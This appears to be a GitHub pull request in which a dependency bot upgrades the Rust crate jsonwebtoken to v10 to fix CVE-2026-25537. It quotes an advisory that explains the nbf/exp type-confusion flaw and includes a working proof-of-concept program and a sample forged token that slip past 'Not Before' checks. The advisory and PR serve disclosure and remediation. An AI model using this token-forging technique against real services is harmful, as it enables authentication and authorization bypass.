Skip to content

chore(deps): update rust crate jsonwebtoken to v10 [security]#113

Merged
ReenigneArcher merged 2 commits into
masterfrom
renovate/crate-jsonwebtoken-vulnerability
Jun 23, 2026
Merged

chore(deps): update rust crate jsonwebtoken to v10 [security]#113
ReenigneArcher merged 2 commits into
masterfrom
renovate/crate-jsonwebtoken-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 15, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Type Update Change
jsonwebtoken dependencies major 9.3.110.0.0

jsonwebtoken has Type Confusion that leads to potential authorization bypass

CVE-2026-25537 / GHSA-h395-gr6q-cpjc

More information

Details

Summary:

It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.

When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.

This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.

Details:

The vulnerability stems from the interaction between the TryParse enum and the validate function in src/validation.rs.

  1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:
enum TryParse<T> {
    Parsed(T),
    FailedToParse, // Set when deserialization fails (e.g. type mismatch)
    NotPresent,
}

If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.

  1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf
    like this:
// L288-291
if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {
    return Err(new_error(ErrorKind::ImmatureSignature));
}

This matches! macro explicitly looks for TryParse::Parsed(nbf).

• If claims.nbf is FailedToParse, the match returns false.
• The if block is skipped.
• No error is returned.

  1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:
// Lines 259-267
for required_claim in &options.required_spec_claims {
    let present = match required_claim.as_str() {
        "nbf" => matches!(claims.nbf, TryParse::Parsed(_)),
        // ...
    };
    if !present { return Err(...); }
}

If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.

However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.

Environment:

• Version: jsonwebtoken 10.2.0
• Rust Version: rustc 1.90.0
• Cargo Version: cargo 1.90.0
• OS: MacOS Tahoe 26.2

POC:

For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.

create a new project:

cargo new nbf_poc; cd nbf_poc

add required dependencies:

cargo add serde --features derive
cargo add jsonwebtoken --features rust_crypto
cargo add serde_json

replace the code in src/main.rs with this:

use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct Claims {
    sub: String,
    nbf: String, // Attacker sends nbf as a String
    exp: usize,
}
fn main() {
    let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue";

    // nbf is a String "99999999999" (Far future)
    // Real nbf should be a Number.
    let my_claims: Claims = Claims {
        sub: "krishna".to_string(),
        nbf: "99999999999".to_string(), 
        exp: 10000000000, 
    };

    let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();
    println!("Forged Token: {}", token);

    // 2. Configure Validation
    let mut validation: Validation = Validation::new(Algorithm::HS256);
    validation.validate_nbf = true; // Enable NBF check

    // We do NOT add "nbf" to required_spec_claims (default behavior)

    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.
    // The library sees the raw JSON with string "nbf".
    let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(
        &token, 
        &DecodingKey::from_secret(key), 
        &validation
    );

    match result {
        Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"),
        Err(e) => println!("Token rejected. Error: {:?}", e),
    }
}

run cargo run

expected behaviour:

Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk

Token was accepted despite malformed far-future 'nbf'!
Impact:

If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).

By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.

and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Never, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Apr 15, 2026
@sonarqubecloud

Copy link
Copy Markdown

@codecov

codecov Bot commented Apr 15, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 52.98%. Comparing base (34a6820) to head (c2715f2).

Additional details and impacted files

Impacted file tree graph

@@            Coverage Diff             @@
##           master     #113      +/-   ##
==========================================
+ Coverage   52.19%   52.98%   +0.79%     
==========================================
  Files          40       40              
  Lines       13147    13149       +2     
==========================================
+ Hits         6862     6967     +105     
+ Misses       6285     6182     -103     
Flag Coverage Δ
aarch64-apple-darwin 52.03% <100.00%> (+0.77%) ⬆️
aarch64-unknown-linux-gnu 52.02% <100.00%> (+0.77%) ⬆️
aarch64-unknown-linux-musl 52.58% <100.00%> (+0.76%) ⬆️
x86_64-apple-darwin 52.03% <100.00%> (+0.77%) ⬆️
x86_64-pc-windows-msvc 52.95% <100.00%> (+0.81%) ⬆️
x86_64-unknown-linux-gnu 52.02% <100.00%> (+0.77%) ⬆️
x86_64-unknown-linux-musl 52.58% <100.00%> (+0.78%) ⬆️

Flags with carried forward coverage won't be shown. Click here to find out more.

Files with missing lines Coverage Δ
crates/server/src/auth.rs 95.12% <100.00%> (+0.12%) ⬆️

... and 8 files with indirect coverage changes


Continue to review full report in Codecov by Harness.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 34a6820...c2715f2. Read the comment docs.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

@renovate renovate Bot added the rust Pull requests that update rust code label Jun 22, 2026
@renovate renovate Bot force-pushed the renovate/crate-jsonwebtoken-vulnerability branch from 6b564f2 to 214e488 Compare June 22, 2026 22:40
renovate Bot and others added 2 commits June 22, 2026 21:18
Harden JWT handling by enabling the jsonwebtoken "rust_crypto" feature and requiring specific claims. auth.rs now validates tokens with Algorithm::HS256 and enforces the "exp" and "sub" claims. Tests updated to reject tokens missing or having invalid/expired required claims. Cargo.lock updated to include cryptography-related dependencies introduced by the feature flag.
@ReenigneArcher ReenigneArcher force-pushed the renovate/crate-jsonwebtoken-vulnerability branch from 214e488 to c2715f2 Compare June 23, 2026 02:12
@renovate

renovate Bot commented Jun 23, 2026

Copy link
Copy Markdown
Contributor Author

Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

@ReenigneArcher ReenigneArcher merged commit 2d127dd into master Jun 23, 2026
45 of 46 checks passed
@ReenigneArcher ReenigneArcher deleted the renovate/crate-jsonwebtoken-vulnerability branch June 23, 2026 03:16
@sonarqubecloud

Copy link
Copy Markdown

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file rust Pull requests that update rust code

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant